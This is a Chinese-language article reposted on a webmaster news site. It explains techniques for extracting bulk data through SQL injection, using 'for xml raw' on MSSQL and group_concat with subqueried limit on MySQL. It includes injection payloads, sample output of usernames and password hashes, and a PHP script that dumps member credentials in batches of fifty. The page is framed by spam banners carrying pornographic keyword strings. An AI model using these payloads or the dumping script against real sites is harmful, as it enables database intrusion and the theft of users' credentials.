色婷婷国产精品免费网站_av在线官网_色综合色综合_欧美精品一区二区三区蜜桃视频_成人免费视频观看视频_国产午夜精品一区二区三区视频

17站長網

17站長網 首頁 安全 入侵防御 查看內容

SQL注入中獲取數(shù)據(jù)的一些技巧分析

2022-9-26 12:54| 查看: 2552 |來源: 互聯(lián)網

一、MSSQL獲取數(shù)據(jù): 用的比較多的就是for xml raw了,MSSQL2000都支持的! 注入中顯示數(shù)據(jù)的兩個辦法均可以使用,一是union select、二是顯錯,以MSSQL2005為例: 代碼如下:select username from members where 1=2
一、MSSQL獲取數(shù)據(jù):

用的比較多的就是for xml raw了,MSSQL2000都支持的!

注入中顯示數(shù)據(jù)的兩個辦法均可以使用,一是union select、二是顯錯,以MSSQL2005為例:

代碼如下:select username from members where 1=2 union select top 3 username from members for xml raw
返回(如果username重復,自動去除重復值):

代碼如下:

select username from members where 1=(select top 3 username from members for xml raw)

返回:

代碼如下:
Msg 245, Level 16, State 1, Line 1
Conversion failed when converting the nvarchar value '' to data type int.

當數(shù)據(jù)量很大,無webshell,有注入點可以利用的時候,for xml raw 是不錯的獲取批量數(shù)據(jù)的辦法!為了不讓返回的數(shù)據(jù)量過大,top可以限制小一點,比如100,另外要附加腳本或者程序對返回值進行處理。

二、MYSQL獲取數(shù)據(jù):

用的比較多的是group_concat,mysql>=4.1支持該函數(shù),可能很多人知道了,但我看過的文章幾乎都是用來讀table_name或者column_name的,畢竟表名、列名的數(shù)據(jù)量不大,所以用起來很方便,可以一下子把所有表名或者所有列名讀出來。不過用group_concat批量注入讀數(shù)據(jù)的很少,雖然可以提高效率,增快速度。

因為group_concat有個瓶頸,當group_concat與limit連用時,limit不起作用(也許是先執(zhí)行group_concat),于是group_concat一次性讀出很多條數(shù)據(jù)(取決于group_concat_max_len,默認1024),而一般網站數(shù)據(jù)量都是很大的。一旦不能與limit連用,怎么獲取之后的數(shù)據(jù)呢?

其實簡單變動下SQL語句即可以實現(xiàn)group_concat與limit連用:

代碼如下:
select concat(group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c)) from (select * from members limit 0,3) A

返回:

guest|||admin|||oldjun:084e0343a0486ff05530df6c705c8bb4|||21232f297a57a5a743894a0e4a801fc3|||ad392a36c512176545900fd05772cbc6
于是簡單做下字符串處理,前三條數(shù)據(jù)就出來了。為了返回不至于數(shù)據(jù)量過大,單次查詢100以下一般可以接受的。

三、給出部分示例代碼(mysql group_concat 50條數(shù)據(jù)每次):

代碼如下:
if ($argc < 3) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' start end(end: count/50)
Example:
php '.$argv[0].' 0 9999
Author:oldjun(http://www.oldjun.com)
+---------------------------------------------------------------------------+
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$start = $argv[1];
$over = $argv[2];
for($i=$start;$i<=$over;$i++){
getdata($i);
}
function getdata($i)
{
$resp = send($i);
if ($resp){
preg_match('#<<<<<<<<<<([^\n]+):([^\n]+)>>>>>>>>>>#', $resp, $value);
if($value){
$namearr=explode("|||",$value[1]);
$passarr=explode("|||",$value[2]);
for($j=0;$j<50;$j++){
echo $namearr[$j]."|||".$passarr[$j]."\r\n";
}
unset($namearr);
unset($passarr);
}else{
echo $resp;
echo "value error,return $i\r\n";
getdata($i);
}
}
else{
echo "resp error,return $i\r\n";
getdata($i);
}
}
function send($i)
{
$limit=$i*50;
//發(fā)送數(shù)據(jù)包代碼省略
//注入語句示例:union select 1,2,3,4,CONCAT(0x3C3C3C3C3C3C3C3C3C3C,group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c),0x3E3E3E3E3E3E3E3E3E3E) FROM (select * from members limit ".$limit.",50) A#
}
?>
本文最后更新于 2022-9-26 12:54,某些文章具有時效性,若有錯誤或已失效,請在網站留言或聯(lián)系站長:17tui@17tui.com
·END·
站長網微信號:w17tui,關注站長、創(chuàng)業(yè)、關注互聯(lián)網人 - 互聯(lián)網創(chuàng)業(yè)者營銷服務中心

免責聲明:本站部分文章和圖片均來自用戶投稿和網絡收集,旨在傳播知識,文章和圖片版權歸原作者及原出處所有,僅供學習與參考,請勿用于商業(yè)用途,如果損害了您的權利,請聯(lián)系我們及時修正或刪除。謝謝!

17站長網微信二維碼

始終以前瞻性的眼光聚焦站長、創(chuàng)業(yè)、互聯(lián)網等領域,為您提供最新最全的互聯(lián)網資訊,幫助站長轉型升級,為互聯(lián)網創(chuàng)業(yè)者提供更加優(yōu)質的創(chuàng)業(yè)信息和品牌營銷服務,與站長一起進步!讓互聯(lián)網創(chuàng)業(yè)者不再孤獨!

掃一掃,關注站長網微信

大家都在看

    熱門排行

      最近更新

        返回頂部
        主站蜘蛛池模板: 老司机午夜免费精品视频 | 精品国产aⅴ麻豆 | 91视频精品 | 日韩视频在线观看 | 草草免费视频 | 国产精品久久久久久久久 | 成人3d动漫 | 九九九久久久 | 日韩黄色在线观看 | 黄视频在线播放 | 成人免费在线 | 亚洲综合在线播放 | 双性呜呜宫交受不住了h | 久久精品视频网站 | 一区二区高清视频 | jlzzjlzz欧美大全 | 四虎影视在线播放 | 91精选视频 | 国产精品一区一区三区 | 午夜视频免费在线观看 | 玖玖在线观看 | 日韩在线中文 | 国产色网站 | 日韩黄色小视频 | 欧美性生交xxxxx久久久 | 日韩欧美视频 | 国产一区二区中文字幕 | 成人免费看片在线观看 | 综合久 | 可以免费看的av | 欧美精品久久久久久 | 香蕉成人网 | 天天操狠狠操 | 四虎成人在线 | 成年人黄色 | 国产视频在线看 | 午夜你懂的 | 啪啪综合网 | 日韩免费精品视频 | 色片在线观看 | 波多野吉衣一二三区乱码 |